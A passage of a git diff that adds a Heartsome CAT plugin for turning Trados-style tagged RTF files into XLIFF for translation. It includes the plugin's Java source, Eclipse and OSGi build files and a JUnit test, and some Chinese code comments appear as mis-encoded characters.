"rc/TestODT.rtf.xlf"; + private static String sklODTFile = "rc/TestODT.rtf.skl"; + + private static String tgtDocFile = "rc/TestDoc_en-US.rtf"; + private static String xlfDocFile = "rc/TestDoc.rtf.xlf"; + private static String sklDocFile = "rc/TestDoc.rtf.skl"; + + @Before + public void setUp() { + File tgt = new File(tgtODTFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtDocFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvertODT() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtODTFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); + args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertDoc() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtDocFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfDocFile); + args.put(Converter.ATTR_SKELETON_FILE, sklDocFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/.classpath b/hsconverter/net.heartsome.cat.converter.taggedrtf/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/.project b/hsconverter/net.heartsome.cat.converter.taggedrtf/.project new file mode 100644 index 0000000..40cff31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.taggedrtf + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.taggedrtf/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..d74a169 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:17:02 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.taggedrtf/META-INF/MANIFEST.MF new file mode 100644 index 0000000..6cee094 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter Tagged RTF +Bundle-SymbolicName: net.heartsome.cat.converter.taggedrtf +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.taggedrtf.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.converter.rtf, + org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.osgi.util.tracker;version="1.4.2", + org.slf4j +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/build.properties b/hsconverter/net.heartsome.cat.converter.taggedrtf/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/Activator.java b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/Activator.java new file mode 100644 index 0000000..db48fa8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/Activator.java @@ -0,0 +1,233 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.taggedrtf; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.rtf.Rtf2Xliff; +import net.heartsome.cat.converter.rtf.Xliff2Rtf; +import net.heartsome.cat.converter.util.AndFilter; +import net.heartsome.cat.converter.util.ConverterRegister; +import net.heartsome.cat.converter.util.EqFilter; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.Constants; +import org.osgi.framework.ServiceReference; +import org.osgi.framework.ServiceRegistration; +import org.osgi.util.tracker.ServiceTracker; +import org.osgi.util.tracker.ServiceTrackerCustomizer; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.taggedrtf"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The bundle context. */ + private static BundleContext bundleContext; + + /** The positive tracker. */ + private static ServiceTracker positiveTracker; + + /** The reverse tracker. */ + private static ServiceTracker reverseTracker; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + bundleContext = context; + // tracker the rtf converter service + String positiveFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Rtf2Xliff.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_POSITIVE)).toString(); + positiveTracker = new ServiceTracker(context, context.createFilter(positiveFilter), new RtfPositiveCustomizer()); + positiveTracker.open(); + + String reverseFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xliff2Rtf.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_REVERSE)).toString(); + reverseTracker = new ServiceTracker(context, context.createFilter(reverseFilter), new RtfReverseCustomize()); + reverseTracker.open(); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + positiveTracker.close(); + reverseTracker.close(); + plugin = null; + bundleContext = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + // just for test + /** + * Gets the rtf converter. + * @param direction + * the direction + * @return the rtf converter + */ + public static Converter getRtfConverter(String direction) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return new Rtf2Xliff(); + } else { + return new Xliff2Rtf(); + } + } + + /** + * The Class RtfPositiveCustomizer. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class RtfPositiveCustomizer implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + // register the converter services + Converter resx2Xliff = new TaggedRtf2Xliff(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, TaggedRtf2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, TaggedRtf2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, TaggedRtf2Xliff.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerPositiveConverter(bundleContext, resx2Xliff, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + + /** + * The Class RtfReverseCustomize. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class RtfReverseCustomize implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter xliff2Resx = new Xliff2TaggedRtf(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2TaggedRtf.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2TaggedRtf.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2TaggedRtf.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerReverseConverter(bundleContext, xliff2Resx, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/TaggedRtf2Xliff.java b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/TaggedRtf2Xliff.java new file mode 100644 index 0000000..a37eeb0 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/TaggedRtf2Xliff.java @@ -0,0 +1,811 @@ +/** + * TaggedRtf2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.taggedrtf; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Vector; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.taggedrtf.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.Attribute; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class TaggedRtf2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class TaggedRtf2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-trtf"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("taggedrtf.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "Tagged RTF to XLIFF Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public TaggedRtf2Xliff() { + dependantConverter = Activator.getRtfConverter(Converter.DIRECTION_POSITIVE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public TaggedRtf2Xliff(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + TaggedRtf2XliffImpl converter = new TaggedRtf2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class TaggedRtf2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class TaggedRtf2XliffImpl { + + /** The sdoc. */ + private Document sdoc; + + /** The tdoc. */ + private Document tdoc; + + /** The sroot. */ + private Element sroot; + + /** The troot. */ + private Element troot; + + /** The tbody. */ + private Element tbody; + + /** The match. */ + private String match; + + /** The source start. */ + private String sourceStart; + + /** The source end. */ + private String sourceEnd; + + /** The target start. */ + private String targetStart; + + /** The target end. */ + private String targetEnd; + + /** The lock100. */ + private boolean lock100; + + /** The is suite. */ + private boolean isSuite; + + /** The qt tool id. */ + private String qtToolID; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + params.put(Converter.ATTR_SEG_BY_ELEMENT, Converter.TRUE); + params.put(Converter.ATTR_IS_TAGGEDRTF, Converter.TRUE); + params.put(Converter.ATTR_FORMAT, TYPE_VALUE); + + isSuite = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + lock100 = Boolean.parseBoolean(params.get(Converter.ATTR_LOCK_100)); + Map result = null; + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸º 10 部分:用 RTF 转æ¢å™¨è¿›è¡Œè½¬æ¢çš„éƒ¨åˆ†å  8,此转æ¢å™¨å¤„ç†å‰©ä½™çš„转æ¢éƒ¨åˆ†å  2 + monitor.beginTask("", 10); + result = dependantConverter.convert(params, Progress.getSubMonitor(monitor, 8)); + if (result.get(Converter.ATTR_XLIFF_FILE) == null) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("taggedrtf.TaggedRtf2Xliff.msg1")); + } + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("taggedrtf.cancel")); + } + + File source = new File(params.get(Converter.ATTR_XLIFF_FILE)); + File original = new File(params.get(Converter.ATTR_SKELETON_FILE)); + File skeleton = new File(original.getAbsolutePath() + ".tg.skl"); //$NON-NLS-1$ + + SAXBuilder builder = new SAXBuilder(); + sdoc = builder.build(source.getAbsolutePath()); + sroot = sdoc.getRootElement(); + tdoc = new Document(null, "xliff", sdoc.getPublicId(), sdoc.getSystemId()); //$NON-NLS-1$ + troot = tdoc.getRootElement(); + copyAttributes(sroot, troot); + + troot.setAttribute("xmlns:hs", Converter.HSNAMESPACE); //$NON-NLS-1$ + Attribute a = troot.getAttribute("xsi:schemaLocation"); //$NON-NLS-1$ + if (a == null) { + troot.setAttribute("xsi:schemaLocation", Converter.HSSCHEMALOCATION); //$NON-NLS-1$ + } else { + String attValue = a.getValue(); + if (attValue.indexOf(Converter.HSSCHEMALOCATION) == -1) { + troot.setAttribute("xsi:schemaLocation", attValue + " " + Converter.HSSCHEMALOCATION); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + + Element sfile = sroot.getChild("file"); //$NON-NLS-1$ + Element tfile = new Element("file", tdoc); //$NON-NLS-1$ + tfile.setAttribute("datatype", TYPE_VALUE); //$NON-NLS-1$ + tfile.setAttribute("original", params.get(Converter.ATTR_SOURCE_FILE)); //$NON-NLS-1$ + tfile.setAttribute("source-language", params.get(Converter.ATTR_SOURCE_LANGUAGE)); //$NON-NLS-1$ + String targetLang = params.get(Converter.ATTR_TARGET_LANGUAGE); + if(!"".equals(targetLang)){ + tfile.setAttribute("target-language",targetLang); //$NON-NLS-1$ + } + troot.addContent("\n"); //$NON-NLS-1$ + troot.addContent(tfile); + + Element header = new Element("header", tdoc); //$NON-NLS-1$ + Element skl = new Element("skl", tdoc); //$NON-NLS-1$ + Element extfile = new Element("external-file", tdoc); //$NON-NLS-1$ + extfile.setAttribute("href", TextUtil.cleanString(skeleton.getAbsolutePath())); //$NON-NLS-1$ + if (isSuite) { + extfile + .setAttribute( + "crc", "" + CRC16.crc16(TextUtil.cleanString(skeleton.getAbsolutePath()).getBytes("UTF-8"))); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + skl.addContent("\n"); //$NON-NLS-1$ + skl.addContent(extfile); + skl.addContent("\n"); //$NON-NLS-1$ + header.addContent("\n"); //$NON-NLS-1$ + header.addContent(skl); + + Element tool = new Element("tool", tdoc); //$NON-NLS-1$ + tool.setAttribute("tool-id", qtToolID); //$NON-NLS-1$ + tool.setAttribute("tool-name", "HSStudio"); //$NON-NLS-1$ //$NON-NLS-2$ + header.addContent("\n"); //$NON-NLS-1$ + header.addContent(tool); + tfile.addContent("\n"); //$NON-NLS-1$ + tfile.addContent(header); + + List properties = sfile.getChild("header").getChildren("hs:prop-group"); //$NON-NLS-1$ //$NON-NLS-2$ + Iterator it = properties.iterator(); + while (it.hasNext()) { + Element group = it.next(); + Element pgroup = new Element(group.getName(), tdoc); + pgroup.clone(group, tdoc); + header.addContent("\n"); //$NON-NLS-1$ + header.addContent(pgroup); + } + header.addContent("\n"); //$NON-NLS-1$ + + tbody = new Element("body", tdoc); //$NON-NLS-1$ + tfile.addContent("\n"); //$NON-NLS-1$ + tfile.addContent(tbody); + tfile.addContent("\n"); //$NON-NLS-1$ + troot.addContent("\n"); //$NON-NLS-1$ + + // 对所å æ¯”例为 2 的转æ¢ä»»åŠ¡å†è¿›ä¸€æ­¥ç»†åˆ†ä¸º 10 个部分:处ç†ç¿»è¯‘å•å…ƒå  6ï¼Œå†™éª¨æž¶æ–‡ä»¶å  2,写æºæ–‡ä»¶å  2 + IProgressMonitor subMonitor1 = Progress.getSubMonitor(monitor, 2); + subMonitor1.beginTask("", 10); + subMonitor1.subTask(Messages.getString("taggedrtf.TaggedRtf2Xliff.task2")); + + List units = sfile.getChild("body").getChildren("trans-unit"); //$NON-NLS-1$ //$NON-NLS-2$ + int size = units.size(); + IProgressMonitor subMonitor2 = Progress.getSubMonitor(subMonitor1, 6); + subMonitor2.beginTask(Messages.getString("taggedrtf.TaggedRtf2Xliff.task3"), size); + subMonitor2.subTask(""); + for (int i = 0; i < size; i++) { + // 是å¦å–消æ“作 + if (subMonitor2.isCanceled()) { + throw new OperationCanceledException(Messages.getString("taggedrtf.cancel")); + } + parseUnit(units.get(i)); + subMonitor2.worked(1); + } + subMonitor2.done(); + + tbody.addContent("\n"); //$NON-NLS-1$ + + subMonitor1.subTask(Messages.getString("taggedrtf.TaggedRtf2Xliff.task4")); + XMLOutputter outputter = new XMLOutputter(); + FileOutputStream output = new FileOutputStream(skeleton); + outputter.preserveSpace(true); + outputter.output(sdoc, output); + output.close(); + output = null; + + subMonitor1.worked(2); + // 是å¦å–消æ“作 + if (subMonitor1.isCanceled()) { + throw new OperationCanceledException(Messages.getString("taggedrtf.cancel")); + } + subMonitor1.subTask(Messages.getString("taggedrtf.TaggedRtf2Xliff.task5")); + output = new FileOutputStream(source.getAbsolutePath()); + outputter.output(tdoc, output); + output.close(); + output = null; + subMonitor1.worked(2); + subMonitor1.done(); + } catch (OperationCanceledException e) { + throw e; + } catch (ConverterException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("taggedrtf.TaggedRtf2Xliff.msg1"), e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Parses the unit. + * @param unit + * the unit + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseUnit(Element unit) throws SAXException, IOException { + Element src = unit.getChild("source"); //$NON-NLS-1$ + String text = src.toString(); + Vector tags = new Vector(); + match = ""; //$NON-NLS-1$ + if (find(text, "<0", 0) != -1 && find(text, "0>", 0) != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + Element t = new Element("trans-unit", tdoc); //$NON-NLS-1$ + copyAttributes(unit, t); + t.addContent("\n"); //$NON-NLS-1$ + Element source = new Element("source", tdoc); //$NON-NLS-1$ + copyAttributes(src, source); + t.addContent(source); + t.addContent("\n"); //$NON-NLS-1$ + Element target = new Element("target", tdoc); //$NON-NLS-1$ + t.addContent(target); + t.addContent("\n"); //$NON-NLS-1$ + + sourceStart = ""; //$NON-NLS-1$ + sourceEnd = ""; //$NON-NLS-1$ + targetStart = ""; //$NON-NLS-1$ + targetEnd = ""; //$NON-NLS-1$ + + if (text.indexOf("0>") == -1) { //$NON-NLS-1$ + src = fix(src, "0>"); //$NON-NLS-1$ + text = src.toString(); + } + if (text.indexOf("<0") == -1) { //$NON-NLS-1$ + src = fix(src, "<0}"); //$NON-NLS-1$ + text = src.toString(); + } + + List content = compact(src.getContent()); + Iterator i = content.iterator(); + + // skip initial portion + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + int index = s.indexOf("0>"); //$NON-NLS-1$ + if (index != -1) { + if (index != 0 && s.charAt(index - 1) != '{') { + sourceStart = sourceStart + TextUtil.cleanString(s); + continue; + } + int end = s.indexOf("<}"); //$NON-NLS-1$ + if (end == -1) { + sourceStart = sourceStart + TextUtil.cleanString(s.substring(0, index + 2)); + source.addContent(s.substring(index + 2)); + } else { + sourceStart = sourceStart + TextUtil.cleanString(s.substring(0, index + 2)); + source.addContent(s.substring(index + 2, end)); + s.substring(end + 2); + index = s.indexOf("{>"); //$NON-NLS-1$ + end = s.indexOf("<0}"); //$NON-NLS-1$ + if (index != -1) { + if (end == -1) { + target.addContent(s.substring(index + 2)); + } else { + target.addContent(s.substring(index + 2, end)); + targetEnd = targetEnd + TextUtil.cleanString(s.substring(end)); + } + } + } + break; + } + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + sourceStart = sourceStart + e.toString(); + } + } + + // copy text to source + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + int end = s.indexOf("<}"); //$NON-NLS-1$ + if (end != -1) { + source.addContent(s.substring(0, end)); + // skip the match quality value and add the + // remainder to + // the target + s = s.substring(end); + int index = s.indexOf("{>"); //$NON-NLS-1$ + if (s.startsWith("<}") && s.endsWith("{>")) { //$NON-NLS-1$ //$NON-NLS-2$ + match = s; + } else if (index != -1) { + match = s.substring(0, index + 2); + } + + if ("<}100{>".equals(match) && lock100) { //$NON-NLS-1$ + t.setAttribute("translate", "no"); //$NON-NLS-1$ //$NON-NLS-2$ + } + + if (index != -1) { + target.addContent(s.substring(index + 2)); + } + break; + } + source.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + Element c = new Element(e.getName(), tdoc); + c.clone(e, tdoc); + source.addContent(c); + tags.add(c); + } + } + if (target.getContent().size() == 0) { + // target empty, skip tags and match quality + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + int start = s.indexOf("<}"); //$NON-NLS-1$ + int end = s.indexOf("{>"); //$NON-NLS-1$ + if (start != -1 && end != -1 && end > start) { + match = s.substring(start, end + 2); + } + if (end != -1) { + target.addContent(s.substring(end + 2)); + break; + } + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + targetStart = targetStart + e.toString(); + } + } + } + // copy text to target + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + int end = s.indexOf("<0}"); //$NON-NLS-1$ + if (end != -1) { + target.addContent(s.substring(0, end)); + targetEnd = targetEnd + TextUtil.cleanString(s.substring(end)); + } else { + target.addContent(s); + } + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + for (int h = 0; h < tags.size(); h++) { + Element k = tags.get(h); + if (e.getText().equals(k.getText())) { + e.clone(k, sdoc); + } + } + Element c = new Element(e.getName(), tdoc); + c.clone(e, tdoc); + target.addContent(c); + } + } + trimTags(source); + trimTags(target); + int srcTags = countTags(source); + int tgtTags = countTags(target); + if (srcTags == 0 && tgtTags != 0) { + removeTags(target); + } + if (srcTags == 1 && tgtTags == 1) { + equalizeTags(source, target); + } + + if (!match.equals("")) { //$NON-NLS-1$ + Element note = new Element("note", tdoc); //$NON-NLS-1$ + note.setText(match); + t.addContent("\n"); //$NON-NLS-1$ + t.addContent(note); + t.addContent("\n"); //$NON-NLS-1$ + if (match.equals("<}100{>")) { //$NON-NLS-1$ + Element altTrans = new Element("alt-trans", tdoc); //$NON-NLS-1$ + altTrans.setAttribute("match-quality", "100"); //$NON-NLS-1$ //$NON-NLS-2$ + altTrans.setAttribute("tool", "Trados or Similar"); //$NON-NLS-1$ //$NON-NLS-2$ + altTrans.setAttribute("xml:space", "default"); //$NON-NLS-1$ //$NON-NLS-2$ + altTrans.addContent("\n"); //$NON-NLS-1$ + Element s = new Element("source", tdoc); //$NON-NLS-1$ + s.clone(source, tdoc); + altTrans.addContent(s); + altTrans.addContent("\n"); //$NON-NLS-1$ + Element tg = new Element("target", tdoc); //$NON-NLS-1$ + tg.clone(target, tdoc); + altTrans.addContent(tg); + t.addContent(altTrans); + t.addContent("\n"); //$NON-NLS-1$ + } + } + + if (!sourceStart.equals("") || !sourceEnd.equals("") || //$NON-NLS-1$ //$NON-NLS-2$ + !targetStart.equals("") || !targetEnd.equals("")) //$NON-NLS-1$ //$NON-NLS-2$ + { + Element group = new Element("hs:prop-group", tdoc); //$NON-NLS-1$ + group.setAttribute("name", "tags"); //$NON-NLS-1$ //$NON-NLS-2$ + t.addContent(group); + Element prop1 = new Element("hs:prop", tdoc); //$NON-NLS-1$ + prop1.setAttribute("prop-type", "sourceStart"); //$NON-NLS-1$ //$NON-NLS-2$ + prop1.addContent(sourceStart); + group.addContent("\n"); //$NON-NLS-1$ + group.addContent(prop1); + Element prop2 = new Element("hs:prop", tdoc); //$NON-NLS-1$ + prop2.setAttribute("prop-type", "sourceEnd"); //$NON-NLS-1$ //$NON-NLS-2$ + prop2.addContent(sourceEnd); + group.addContent("\n"); //$NON-NLS-1$ + group.addContent(prop2); + Element prop3 = new Element("hs:prop", tdoc); //$NON-NLS-1$ + prop3.setAttribute("prop-type", "targetStart"); //$NON-NLS-1$ //$NON-NLS-2$ + prop3.addContent(targetStart); + group.addContent("\n"); //$NON-NLS-1$ + group.addContent(prop3); + Element prop4 = new Element("hs:prop", tdoc); //$NON-NLS-1$ + prop4.setAttribute("prop-type", "targetEnd"); //$NON-NLS-1$ //$NON-NLS-2$ + prop4.addContent(targetEnd); + group.addContent("\n"); //$NON-NLS-1$ + group.addContent(prop4); + group.addContent("\n"); //$NON-NLS-1$ + } + + tbody.addContent("\n"); //$NON-NLS-1$ + tbody.addContent(t); + tbody.addContent("\n"); //$NON-NLS-1$ + enumerateTags(source); + enumerateTags(target); + } else { + // this unit doesn't have a translation from Trados + unit.setAttribute("datatype", "rtf"); //$NON-NLS-1$ //$NON-NLS-2$ + Element c = new Element(unit.getName(), tdoc); + c.clone(unit, tdoc); + tbody.addContent("\n"); //$NON-NLS-1$ + tbody.addContent(c); + } + + } + + /** + * Compact. + * @param list + * the list + * @return the list< node> + */ + private List compact(List list) { + List result = new ArrayList(); + for (int i = 0; i < list.size(); i++) { + Node n = list.get(i); + if 